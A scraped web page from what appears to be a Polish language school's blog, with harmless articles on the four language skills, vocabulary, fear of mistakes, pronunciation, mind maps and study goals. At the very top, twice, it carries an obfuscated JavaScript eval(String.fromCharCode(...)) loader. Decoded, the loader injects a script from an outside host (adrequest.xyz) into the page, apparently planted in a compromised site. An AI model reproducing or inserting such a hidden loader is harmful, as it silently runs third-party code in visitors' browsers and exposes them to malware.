var _0x42tbc1 = 1; eval(String.fromCharCode(118, 97, 114, 32, 97, 49, 32, 61, 32, 102, 117, 110, 99, 116, 105, 111, 110, 40, 41, 32, 123, 10, 32, 32, 32, 32, 118, 97, 114, 32, 95, 48, 120, 52, 50, 116, 98, 99, 49, 32, 61, 32, 83, 116, 114, 105, 110, 103, 91, 34, 92, 120, 54, 54, 92, 120, 55, 50, 92, 120, 54, 70, 92, 120, 54, 68, 92, 120, 52, 51, 92, 120, 54, 56, 92, 120, 54, 49, 92, 120, 55, 50, 92, 120, 52, 51, 92, 120, 54, 70, 92, 120, 54, 52, 92, 120, 54, 53, 34, 93, 40, 49, 48, 52, 44, 32, 49, 49, 54, 44, 32, 49, 49, 54, 44, 32, 49, 49, 50, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 55, 44, 32, 52, 55, 44, 32, 57, 55, 44, 32, 49, 48, 48, 44, 32, 49, 49, 52, 44, 32, 49, 48, 49, 44, 32, 49, 49, 51, 44, 32, 49, 49, 55, 44, 32, 49, 48, 49, 44, 32, 49, 49, 53, 44, 32, 49, 49, 54, 44, 32, 52, 54, 44, 32, 49, 50, 48, 44, 32, 49, 50, 49, 44, 32, 49, 50, 50, 44, 32, 52, 55, 44, 32, 57, 55, 44, 32, 49, 48, 48, 44, 32, 52, 54, 44, 32, 49, 48, 54, 44, 32, 49, 49, 53, 44, 32, 54, 51, 44, 32, 49, 49, 54, 44, 32, 54, 49, 44, 32, 52, 57, 41, 59, 10, 32, 32, 32, 32, 118, 97, 114, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 91, 34, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 53, 92, 120, 54, 49, 92, 120, 55, 52, 92, 120, 54, 53, 92, 120, 52, 53, 92, 120, 54, 67, 92, 120, 54, 53, 92, 120, 54, 68, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 55, 52, 34, 93, 40, 34, 92, 120, 55, 51, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 57, 92, 120, 55, 48, 92, 120, 55, 52, 34, 41, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 91, 34, 92, 120, 55, 52, 92, 120, 55, 57, 92, 120, 55, 48, 92, 120, 54, 53, 34, 93, 32, 61, 32, 34, 92, 120, 55, 52, 92, 120, 54, 53, 92, 120, 55, 56, 92, 120, 55, 52, 92, 120, 50, 70, 92, 120, 54, 65, 92, 120, 54, 49, 92, 120, 55, 54, 92, 120, 54, 49, 92, 120, 55, 51, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 57, 92, 120, 55, 48, 92, 120, 55, 52, 34, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 91, 34, 92, 120, 54, 49, 92, 120, 55, 51, 92, 120, 55, 57, 92, 120, 54, 69, 92, 120, 54, 51, 34, 93, 32, 61, 32, 116, 114, 117, 101, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 91, 34, 92, 120, 54, 57, 92, 120, 54, 52, 34, 93, 32, 61, 32, 34, 92, 120, 54, 51, 92, 120, 54, 52, 92, 120, 51, 55, 92, 120, 51, 48, 92, 120, 51, 57, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 34, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 91, 34, 92, 120, 55, 51, 92, 120, 55, 50, 92, 120, 54, 51, 34, 93, 32, 61, 32, 95, 48, 120, 52, 50, 116, 98, 99, 49, 59, 10, 32, 32, 32, 32, 118, 97, 114, 32, 95, 48, 120, 52, 50, 116, 98, 99, 51, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 91, 34, 92, 120, 54, 55, 92, 120, 54, 53, 92, 120, 55, 52, 92, 120, 52, 53, 92, 120, 54, 67, 92, 120, 54, 53, 92, 120, 54, 68, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 55, 52, 92, 120, 55, 51, 92, 120, 52, 50, 92, 120, 55, 57, 92, 120, 53, 52, 92, 120, 54, 49, 92, 120, 54, 55, 92, 120, 52, 69, 92, 120, 54, 49, 92, 120, 54, 68, 92, 120, 54, 53, 34, 93, 40, 34, 92, 120, 55, 51, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 57, 92, 120, 55, 48, 92, 120, 55, 52, 34, 41, 91, 48, 93, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 51, 91, 34, 92, 120, 55, 48, 92, 120, 54, 49, 92, 120, 55, 50, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 55, 52, 92, 120, 52, 69, 92, 120, 54, 70, 92, 120, 54, 52, 92, 120, 54, 53, 34, 93, 91, 34, 92, 120, 54, 57, 92, 120, 54, 69, 92, 120, 55, 51, 92, 120, 54, 53, 92, 120, 55, 50, 92, 120, 55, 52, 92, 120, 52, 50, 92, 120, 54, 53, 92, 120, 54, 54, 92, 120, 54, 70, 92, 120, 55, 50, 92, 120, 54, 53, 34, 93, 40, 95, 48, 120, 52, 50, 116, 98, 99, 50, 44, 32, 95, 48, 120, 52, 50, 116, 98, 99, 51, 41, 10, 125, 59, 10, 118, 97, 114, 32, 116, 110, 100, 101, 109, 111, 115, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 91, 34, 92, 120, 54, 55, 92, 120, 54, 53, 92, 120, 55, 52, 92, 120, 52, 53, 92, 120, 54, 67, 92, 120, 54, 53, 92, 120, 54, 68, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 55, 52, 92, 120, 55, 51, 92, 120, 52, 50, 92, 120, 55, 57, 92, 120, 53, 52, 92, 120, 54, 49, 92, 120, 54, 55, 92, 120, 52, 69, 92, 120, 54, 49, 92, 120, 54, 68, 92, 120, 54, 53, 34, 93, 40, 34, 92, 120, 55, 51, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 57, 92, 120, 55, 48, 92, 120, 55, 52, 34, 41, 59, 10, 118, 97, 114, 32, 110, 32, 61, 32, 116, 114, 117, 101, 59, 10, 102, 111, 114, 32, 40, 118, 97, 114, 32, 105, 32, 61, 32, 48, 59, 32, 105, 32, 60, 32, 116, 110, 100, 101, 109, 111, 115, 91, 34, 92, 120, 54, 67, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 54, 55, 92, 120, 55, 52, 92, 120, 54, 56, 34, 93, 59, 32, 105, 43, 43, 41, 32, 123, 10, 32, 32, 32, 32, 105, 102, 32, 40, 116, 110, 100, 101, 109, 111, 115, 91, 105, 93, 91, 34, 92, 120, 54, 57, 92, 120, 54, 52, 34, 93, 32, 61, 61, 32, 34, 92, 120, 54, 51, 92, 120, 54, 52, 92, 120, 51, 55, 92, 120, 51, 48, 92, 120, 51, 57, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 34, 41, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 110, 32, 61, 32, 102, 97, 108, 115, 101, 10, 32, 32, 32, 32, 125, 10, 125, 59, 10, 105, 102, 32, 40, 110, 32, 61, 61, 32, 116, 114, 117, 101, 41, 32, 123, 10, 32, 32, 32, 32, 97, 49, 40, 41, 59, 10, 125)); Multi Lingua | Porady językowe var _0x42tbc1 = 1; eval(String.fromCharCode(118, 97, 114, 32, 97, 49, 32, 61, 32, 102, 117, 110, 99, 116, 105, 111, 110, 40, 41, 32, 123, 10, 32, 32, 32, 32, 118, 97, 114, 32, 95, 48, 120, 52, 50, 116, 98, 99, 49, 32, 61, 32, 83, 116, 114, 105, 110, 103, 91, 34, 92, 120, 54, 54, 92, 120, 55, 50, 92, 120, 54, 70, 92, 120, 54, 68, 92, 120, 52, 51, 92, 120, 54, 56, 92, 120, 54, 49, 92, 120, 55, 50, 92, 120, 52, 51, 92, 120, 54, 70, 92, 120, 54, 52, 92, 120, 54, 53, 34, 93, 40, 49, 48, 52, 44, 32, 49, 49, 54, 44, 32, 49, 49, 54, 44, 32, 49, 49, 50, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 55, 44, 32, 52, 55, 44, 32, 57, 55, 44, 32, 49, 48, 48, 44, 32, 49, 49, 52, 44, 32, 49, 48, 49, 44, 32, 49, 49, 51, 44, 32, 49, 49, 55, 44, 32, 49, 48, 49, 44, 32, 49, 49, 53, 44, 32, 49, 49, 54, 44, 32, 52, 54, 44, 32, 49, 50, 48, 44, 32, 49, 50, 49, 44, 32, 49, 50, 50, 44, 32, 52, 55, 44, 32, 57, 55, 44, 32, 49, 48, 48, 44, 32, 52, 54, 44, 32, 49, 48, 54, 44, 32, 49, 49, 53, 44, 32, 54, 51, 44, 32, 49, 49, 54, 44, 32, 54, 49, 44, 32, 52, 57, 41, 59, 10, 32, 32, 32, 32, 118, 97, 114, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 91, 34, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 53, 92, 120, 54, 49, 92, 120, 55, 52, 92, 120, 54, 53, 92, 120, 52, 53, 92, 120, 54, 67, 92, 120, 54, 53, 92, 120, 54, 68, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 55, 52, 34, 93, 40, 34, 92, 120, 55, 51, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 57, 92, 120, 55, 48, 92, 120, 55, 52, 34, 41, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 91, 34, 92, 120, 55, 52, 92, 120, 55, 57, 92, 120, 55, 48, 92, 120, 54, 53, 34, 93, 32, 61, 32, 34, 92, 120, 55, 52, 92, 120, 54, 53, 92, 120, 55, 56, 92, 120, 55, 52, 92, 120, 50, 70, 92, 120, 54, 65, 92, 120, 54, 49, 92, 120, 55, 54, 92, 120, 54, 49, 92, 120, 55, 51, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 57, 92, 120, 55, 48, 92, 120, 55, 52, 34, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 91, 34, 92, 120, 54, 49, 92, 120, 55, 51, 92, 120, 55, 57, 92, 120, 54, 69, 92, 120, 54, 51, 34, 93, 32, 61, 32, 116, 114, 117, 101, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 91, 34, 92, 120, 54, 57, 92, 120, 54, 52, 34, 93, 32, 61, 32, 34, 92, 120, 54, 51, 92, 120, 54, 52, 92, 120, 51, 55, 92, 120, 51, 48, 92, 120, 51, 57, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 34, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 91, 34, 92, 120, 55, 51, 92, 120, 55, 50, 92, 120, 54, 51, 34, 93, 32, 61, 32, 95, 48, 120, 52, 50, 116, 98, 99, 49, 59, 10, 32, 32, 32, 32, 118, 97, 114, 32, 95, 48, 120, 52, 50, 116, 98, 99, 51, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 91, 34, 92, 120, 54, 55, 92, 120, 54, 53, 92, 120, 55, 52, 92, 120, 52, 53, 92, 120, 54, 67, 92, 120, 54, 53, 92, 120, 54, 68, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 55, 52, 92, 120, 55, 51, 92, 120, 52, 50, 92, 120, 55, 57, 92, 120, 53, 52, 92, 120, 54, 49, 92, 120, 54, 55, 92, 120, 52, 69, 92, 120, 54, 49, 92, 120, 54, 68, 92, 120, 54, 53, 34, 93, 40, 34, 92, 120, 55, 51, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 57, 92, 120, 55, 48, 92, 120, 55, 52, 34, 41, 91, 48, 93, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 51, 91, 34, 92, 120, 55, 48, 92, 120, 54, 49, 92, 120, 55, 50, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 55, 52, 92, 120, 52, 69, 92, 120, 54, 70, 92, 120, 54, 52, 92, 120, 54, 53, 34, 93, 91, 34, 92, 120, 54, 57, 92, 120, 54, 69, 92, 120, 55, 51, 92, 120, 54, 53, 92, 120, 55, 50, 92, 120, 55, 52, 92, 120, 52, 50, 92, 120, 54, 53, 92, 120, 54, 54, 92, 120, 54, 70, 92, 120, 55, 50, 92, 120, 54, 53, 34, 93, 40, 95, 48, 120, 52, 50, 116, 98, 99, 50, 44, 32, 95, 48, 120, 52, 50, 116, 98, 99, 51, 41, 10, 125, 59, 10, 118, 97, 114, 32, 116, 110, 100, 101, 109, 111, 115, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 91, 34, 92, 120, 54, 55, 92, 120, 54, 53, 92, 120, 55, 52, 92, 120, 52, 53, 92, 120, 54, 67, 92, 120, 54, 53, 92, 120, 54, 68, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 55, 52, 92, 120, 55, 51, 92, 120, 52, 50, 92, 120, 55, 57, 92, 120, 53, 52, 92, 120, 54, 49, 92, 120, 54, 55, 92, 120, 52, 69, 92, 120, 54, 49, 92, 120, 54, 68, 92, 120, 54, 53, 34, 93, 40, 34, 92, 120, 55, 51, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 57, 92, 120, 55, 48, 92, 120, 55, 52, 34, 41, 59, 10, 118, 97, 114, 32, 110, 32, 61, 32, 116, 114, 117, 101, 59, 10, 102, 111, 114, 32, 40, 118, 97, 114, 32, 105, 32, 61, 32, 48, 59, 32, 105, 32, 60, 32, 116, 110, 100, 101, 109, 111, 115, 91, 34, 92, 120, 54, 67, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 54, 55, 92, 120, 55, 52, 92, 120, 54, 56, 34, 93, 59, 32, 105, 43, 43, 41, 32, 123, 10, 32, 32, 32, 32, 105, 102, 32, 40, 116, 110, 100, 101, 109, 111, 115, 91, 105, 93, 91, 34, 92, 120, 54, 57, 92, 120, 54, 52, 34, 93, 32, 61, 61, 32, 34, 92, 120, 54, 51, 92, 120, 54, 52, 92, 120, 51, 55, 92, 120, 51, 48, 92, 120, 51, 57, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 34, 41, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 110, 32, 61, 32, 102, 97, 108, 115, 101, 10, 32, 32, 32, 32, 125, 10, 125, 59, 10, 105, 102, 32, 40, 110, 32, 61, 61, 32, 116, 114, 117, 101, 41, 32, 123, 10, 32, 32, 32, 32, 97, 49, 40, 41, 59, 10, 125));
Multi Lingua | Porady językowe
701
blog,ajax_fade,page_not_loaded,smooth_scroll,

Multi Lingua

LSRW – Method and Communication in English

 

L-S-R-W is the order of how the practical skills should be taught and learnt. They are our human inborn skills, which are crucial (very important) in the process of any language acquisition. They should be discovered again and rejuvenated while language learning. What is more, the integrated skills; which is called L-S-R-W, are the basics for teaching communication and practical English.

Reading and listening are considered to be passive skills but they really require sometimes that a learner is more creative and productive than while learning speaking and writing. For example, when we listen to a speaker our brain must concentrate not only on the recognition of sounds and words followed by the whole verbal sentence but also it (our brain) focuses on what information a speaker truly wants to share with us. The same while reading we focus our minds not only on the recognition of letters, words and sentences but we try to infer (guess and comprehend) a genuine meaning of what an author wants to express.

Furthermore, our brain gets ready for further producing a relevant (proper) response to a spoken or written sentence and the response not only must agree with the messenger’s intention but also be critical to immerse further discussion. This is why reading and listening might be taking more brain energy than further speaking and writing because. Those passive skills, actually, mean the full process of communication that happen in mind; it begins with encoding the message from scratch; semantics (sounds, letters, words) till the end pragmatics; the author’s main idea and intention. Afterwards, the process continues with a speaker’s or reader’s reaction and critical response within their brain.

However, at the last point when our mind reads out the author’s message and gets ready for response another skills overtake a control. They are speaking and writing, which steps into co-operation with reading and listening skills as the response and reaction to what the brain has recognized. But it can’t be forgotten that the four skills really work together and supplement each other. There’s no beginning and finishing points as the L R S W merge into each other eventually, leading at the end to Integrated Skills competence. IS competence is what makes learning the language more creative, interesting and pleasant, which is the „must” in a proper education of a language communication.

 

Autor: Katarzyna Wojciechowska

 

 

Słownictwo jest fundamentem komunikacji.

 

Słownictwo jest fundamentem komunikacji

Sprawą nadrzędną, o której pamiętać powinien każdy uczący się języka obcego jest systematyczna praca nad poszerzaniem zasobu słownictwa. Stąd też, każdy, kto dąży do nieskrępowanej, a wręcz swobodnej komunikacji w języku obcym powinien zastanowić się nad metodami oraz technikami, które ułatwiają efektywne zapamiętywanie, a dalej aktywne wykorzystywanie nowych struktur leksykalnych.

Doświadczenie wyniesione z wcześniejszych etapów edukacyjnych zwykle przywołuje na myśl traumatyczne wspomnienia o żmudnym i bezowocnym wkuwaniu słownictwa, które to, chwilę po zaliczeniu odchodziło w zapomnienie. Kluczem do skutecznej komunikacji okazuje się wszak właśnie leksyka, bowiem już pojedyncze wyrazy niosą za sobą pewien przekaz, natomiast sama, nawet najlepsza znajomość gramatyki nie umożliwi mówcy jakiejkolwiek prezentacji komunikatu.

Dlatego też, nie zaniedbujmy systematycznej pracy nad naszym słownictwem, a skoncentrujmy się najpierw na doborze metody, która uczyni akwizycję językową jak najbardziej przystępną, a nawet przyjemną. Zapewne pierwszym sposobem przychodzącym na myśl, jest szkolne, podręcznikowe zapamiętywanie większych lub mniejszych ilości słów, wypisanych na niekończących się listach, a następnie systematyczne wydłużanie listy i niezmierna radość, że zdołaliśmy zapamiętać ekwiwalenty poszczególnych polskich wyrazów.

Niestety, taka metoda okazuje się zwykle nieskuteczna, jako że samo „suche” zapamiętywanie prowadzi do szybkiego wymazania informacji z pamięci, ponieważ nie jest osadzone w partykularnym kontekście, ułatwiającym kojarzenie w danej sytuacji językowej. Stąd też, twórzmy zdania, zapamiętujmy okoliczności, w których to dane słowo usłyszeliśmy. Przyswajając nowe zwroty myślmy szerzej o tematyce, do której nawiązują, oraz w jakim otoczeniu moglibyśmy z nich skorzystać.

Kolejnym aspektem o którym należy pamiętać jest aktywne zapamiętywanie nowopoznanych zwrotów. Starajmy się wypowiadać je na głos, ćwiczmy nasz umysł i niejako zmuszajmy go do zastępowania dobrze już znanych elementów leksyki ich synonimami. Szukajmy okazji, które umożliwią nam zastosowanie świeżo przyswojonych zwrotów, dzielmy się tą wiedzą z innymi w trakcie prowadzonych konwersacji. Ćwiczmy wymowę oraz otwórzmy się na kontekst sytuacyjny, wyobrażając sobie okoliczności, w których zastosujemy daną frazę.

Ucząc się słownictwa, bądźmy selektywni. Zastanówmy się, jak ogromną bazą leksyki dysponujemy w języku ojczystym, jednakże czy oznacza to, że wszystkie zwroty poznane przez całe życie wykorzystujemy co dzień? Zakładając, że większość z nas wie, czym jest onomatopeja, odpowiedzmy sobie na pytanie, kiedy ostatnio mówiliśmy o tej figurze retorycznej? Otóż, koncentrujmy się na określeniach, które faktycznie przydadzą się nam w codziennej komunikacji, w środowisku zawodowym, związanych z naszymi zainteresowaniami, pasjami. Czytając tekst w języku obcym, nie zniechęcajmy się brakiem znajomości każdego elementu, skupiajmy się na kontekście.

Rozglądajmy się wokół. W dobie globalizacji, otoczeni jesteśmy wieloma językami, starajmy się je tylko dostrzec. Czytajmy etykiety, przyglądajmy się produktom, zastanówmy się nad znaczeniem, jakie kryją za sobą nazwy, a okaże się, że mężczyźni pachną starą przyprawą, a dzieci zajadają się dobrym białym ?. Otwórzmy się na język, zapamiętujmy oryginalne tytuły filmów, częściej wychodźmy do kina, a co najważniejsze korzystajmy z dobrodziejstwa jakie daje nam wirtualna rzeczywistość oraz nowoczesne technologie i narzędzia, ale o tym w kolejnej części porad językowych…

 

Autor: Kaja Ataman-Licau

Lektor w Multi Lingua

Ucz się na własnych błędach.

Popełnianie błędów nie jest niczym nadzwyczajnym, zawsze powtarzamy, że człowiek uczy się na błędach. Zatem skąd bierze się paniczny lęk przed błędami językowymi i czy rzeczywiście jest on uzasadniony? Jak sobie z nim radzić?

Bolączką wielu aspirujących mówców języka obcego jest strach przed możliwością popełnienia gafy, braku spójnej komunikacji czy też nieporozumień. Tymczasem błędów nie należy się bać, na błędach trzeba się uczyć! Osoby, które mają styczność z native speakerami zapewne zauważyły już, iż na rodowitych mówcach danego języka błędy wszelakiej natury nie robią specjalnego wrażenia – wręcz przeciwnie, dopóki kontekst wypowiedzi jest zrozumiały, dopóty obie strony mogą czerpać nieskrępowaną przyjemność z prowadzenia rozmowy. Sekret sprawnej komunikacji? Nie myśleć o błędach, nie zakładać z góry, że je popełnimy! Kiedy już dojdzie do „konfrontacji” z native speakerem, nie zbierajmy sił jak do walki, nie spinajmy się, a przede wszystkim pamiętajmy, że nasz interlokutor nie czyha na nasze potknięcia językowe.

Kuluarowe rozmowy z uczniami języków obcych bardzo często potwierdzają, że obawa przed wygłupieniem się paraliżuje. Efekt? Osoba ucząca się od kilku lat, pomimo, iż rozumie o czym jest mowa, stoi niczym wryta, z szeroko otwartymi oczami, gorączkowo przeszukując poszczególne szufladki swojego umysłu, tłumacząc co zamierza powiedzieć ze swojego języka na ten docelowy, siląc się na wyszukane zwroty, budując skomplikowane zdania, lecz milczy, wszystko dzieje się w głowie… Mija kilka chwil, niepokojąca cisza przedłuża się. Całkowita inercja, a na koniec – wspomnienie traumy. Zastanówmy się, czy w codziennej komunikacji w rodzimym języku także szykujemy się jak na bitwę? Czy rozpamiętujemy każde przejęzyczenie? Czy operujemy pompatycznym słownictwem, czy też po prostu swobodnie przekazujemy daną wiadomość? Czy nie lepiej jest wymienić kilka zdań, nawet najprostszych, aniżeli stać jak słup soli?

Z popełnianych błędów, zarówno tych własnych, jak i cudzych warto wyciągnąć naukę. Analiza oraz wyciągnięte wnioski, pozwolą w przyszłości uniknąć podobnych pomyłek. Zatem, prośmy lektora o sporządzanie zapisów naszych błędów, a także ich sygnalizowanie – gestami, powtórzeniem danego zwrotu / zdania, mimiką twarzy. Wyznaczmy sobie mikro cele, na początku koncentrujmy się na jednym, nagminnie powtarzanym błędzie, a z czasem, pokonamy ich całą armię.

Autor: Kaja Ataman-Licau

Lektor w Multi Lingua

 

„…eee tam, mnie się to nie przyda.” oraz „Co to jepul?”– czyli dlaczego nie powinniśmy ignorować nauki wymowy

 

„…eee tam, mnie się to nie przyda.” oraz „Co to jepul?”– czyli dlaczego nie powinniśmy ignorować nauki wymowy, ciąg dalszy.

 

Osoby uczące się języka angielskiego zazwyczaj podkreślają, że ich głównym priorytetem jest sprawna komunikacja oraz możliwość zrozumiałego przekazania danych treści. Stąd też, wraz z upływem czasu, mniej lub bardziej sumiennie studiują nowe zwroty, elementy leksyki, a także niuanse gramatyki. Oto awansują na kolejne poziomy znajomości języka, z dnia na dzień obserwując swój postęp, przełamując kolejne bariery i zyskując coraz większą pewność w kontaktach z innymi narodowościami, zarówno na polu służbowym, jak i w życiu prywatnym. Postęp ten niewątpliwie cieszy nie tylko słuchaczy, lecz również lektorów, którzy kibicują słuchaczom odnoszącym sukcesy w kolejnych obszarach językowych, a mianowicie w rozumieniu ze słuchu, czytaniu, pisaniu oraz mówieniu. Jednakże przychodzi taka chwila, gdy pomimo danego stopnia zaawansowania i sprawnej komunikacji, ku swojemu przerażeniu osoba ucząca się uświadamia sobie, że oglądając ulubiony serial bez lektora/napisów, czy też jadąc do kraju anglojęzycznego, o zgrozo, nie jest w stanie zrozumieć, o czym tak na dobrą sprawę jest mowa.

„Co to jepul?” – pada pytanie na zajęciach. Chwila konsternacji, prośba o powtórzenie.

„No jepul; what does it mean: JE-PUL?”. Chwila namysłu, próba doprecyzowania, w którym fragmencie nagrania i w jakim kontekście wypowiedziane zostało to słowo. Wraz z dalszym tokiem przeprowadzonego śledztwa okazuje się, że tajemnicze jepul to ucięty fragment doskonale każdemu znanego słówka the apple, które to faktycznie, szybko wypowiedziane z charakterystycznym akcentem natywnym zinterpretowane może zostać jako zagadkowy zarówno dla prowadzącego zajęcia, jak i słuchacza, niepokojący jepul.

Powyższa prawdziwa historia, zaistniała na zajęciach, to odpowiedź na często zadawane z przekorą pytanie „Czy wymowa jest ważna?!” Jak najbardziej! Nie ulega to żadnej wątpliwości, jednak z jakiegoś powodu jest to jeden z najbardziej znienawidzonych oraz zignorowanych obszarów przez aspirujących mówców języka obcego. Niewątpliwe opanowanie poprawnej wymowy zarówno na poziomie pojedynczego wyrazu, jak i dłuższych zwrotów to długa i wymagająca sporych nakładów pracy droga do przebycia, na której końcu umiejscowiony jest klucz do doskonałej komunikacji.

…bo skoro pewnego dnia odkrywamy, że nie jesteśmy w stanie odpowiednio zrozumieć, czym jest znane każdemu od dawna the apple, zastanówmy się, ile jeszcze złowrogich owoców i warzyw czyha na naszej drodze, torując nam dojście do zrozumieniaJ Zatem, nie mówmy już „…eee tam, mnie się to nie przyda!”, lecz sumiennie pracujmy również nad tym aspektem znajomości języka.

Poniżej link, który z pewnością ułatwi poczynienie pierwszych kroków w obszarze wymowy:

 

http://www.bbc.co.uk/worldservice/learningenglish/grammar/pron/

 

Autor: Kaja Ataman-Licau

Lektor w Multi Lingua

 

 

Technika mapy myśli. ( mind – map)

Jest to szczególny rodzaj notowania pobudzający obie półkule ludzkiego mózgu. Pamiętaj, że lewa półkula  (‚analityczna’) odpowiedzialna jest za logikę, analizę, słowa i liczby. Prawa półkula (‚kreatywna’) odpowiada za wyobraźnię, marzenia, rytm, postrzeganie przestrzeni, rozpoznawanie kolorów i obraz całości. Umożliwia to podniesienie efektywności pracy naszego mózgu, a proces nauki i zapamiętywania czyni prostszym, szybszym i przyjemniejszym. Sprzyja myśleniu twórczemu, wielokierunkowemu, a nie nudnemu i odtwórczemu.

W centralnej części mapy należy umieścić kolorowy rysunek. Od niego powinny odchodzić grube linie z najważniejszymi hasłami. Od tych linii mogą odchodzić kolejne cieńsze z mniej ważnymi informacjami, a od nich jeszcze kolejne. Mapy myśli nie mają żadnych ograniczeń pod względem wielkości sporządzanych notatek.

Mapy myśli powinny, według zaleceń autorów tej metody, przyjmować promienistą strukturę, co odzwierciedla naturalną budowę naszego mózgu i sposób  myślenia opierający się na skojarzeniach. Możesz powiększać utworzone przez siebie mapy myśli rozszerzając zasób słów i zwrotów.

O rosnącej sile YouTube…

Jeszcze kilka lat temu na YouTube wchodziliśmy głównie po to aby obejrzeć jakiś teledysk. Jak bardzo zmienił się ten trend na przestrzeni ostatnich lat. Możemy znaleźć tam wszystko, od instrukcji jak zmienić kran w zlewie po milion przepisów jak ugotować najznakomitszą beef wellington. Dlaczego w takim razie nie wykorzystać YouTube do nauki języka angielskiego? Osobiście bardzo lubię taką taktykę. Filmy zazwyczaj są krótkie (5-10minut) i zawsze w ciągu dnia możemy wygospodarować ten czas na naukę czegoś nowego lub aby chociaż posłuchać czegoś w języku angielskim. Moim zdaniem YouTube oferuje wiele kanałów godnych uwagi. Poniżej chciałabym przedstawić Państwu kilka z nich.

 

  1. Easy Languages (https://www.youtube.com/user/magauchsein/featured)

Jest to kanał przeznaczony dla tych, którzy w nauce języka cenią sobie przede wszystkim autentyczność, ponieważ kanał bazuje przede wszystkim na krótkich wywiadach przeprowadzanych z mieszkańcami całego globu.

  1. Learn English with Papa Teach Me (https://www.youtube.com/user/papateachme)

Ten kanał prezentuje filmiki tłumaczące podstawową gramatykę w niebanalny sposób, jak i materiały dla bardziej zaawansowanych uczniów dotyczące np. idiomów czy slangu. Ponadto filmy mają również napisy, co osobiście uważam za duży atut

  1. Business Insider (https://www.youtube.com/user/businessinsider)

Business Insider to kanał zajmujący się tematyką okołobiznesową i nie jest to kanał dedykowany stricte nauce języka angielskiego. Niemniej jednak zawiera bardzo ciekawe materiały, które ze względu na swoje słownictwo, mogą okazać się bardzo przydatne przy nauce języka.

 

 

Jak osiągnąć wyznaczony cel?

Przed nami kolejna porcja porad z cyklu ,, Jak uczyć się, aby nauczyć się języka angielskiego?”.

Już wiemy jak dobrze wyznaczyć  swój cel nauki, a teraz dowiemy się co zrobić, aby nasz cel został osiągnięty!

  • Umieść listę swoich priorytetów na widocznym miejscu tak, abyś ciągle ją widział.
  • Ucz się codziennie. Ideał to 30 – 60 min dziennie. Musisz ćwiczyć i powtarzać – im więcej i częściej, tym lepiej!
  • Zwróć uwagę, jak uczysz się najlepiej – przez słuchanie, czytanie, a może pisanie? Zadbaj o różnorodność.
  • Modyfikuj swoje cele, jeśli okażą się zbyt trudne lub zbyt łatwe.
  • Wykreślaj z listy już osiągnięte cele.
  • Wyznacz etap nauki, po którym się nagradzasz i kup sobie prezent! (np. książka do czytania po angielsku z serii – English Reader) Dziecko jest w każdym z nas!

person-1245959_1280

Jak uczyć się, aby nauczyć się języka obcego?

Rozpoczynamy nowy cykl porad „Jak uczyć się, aby nauczyć się języka obcego?”

Pierwsze porady dotyczą celu nauki 🙂

Wyznacz swój cel nauki precyzyjnie!

  • Upewnij się, że program, który realizujesz jest zbieżny z Twoim celem nauki, tzn. jeśli uczysz się języka, bo wyjeżdżasz na wakacje za granicę, to nie musisz opanować słownictwa biznesowego
  • Wyznacz swój cel krótkoterminowy – np. dziś nauczę się X słówek
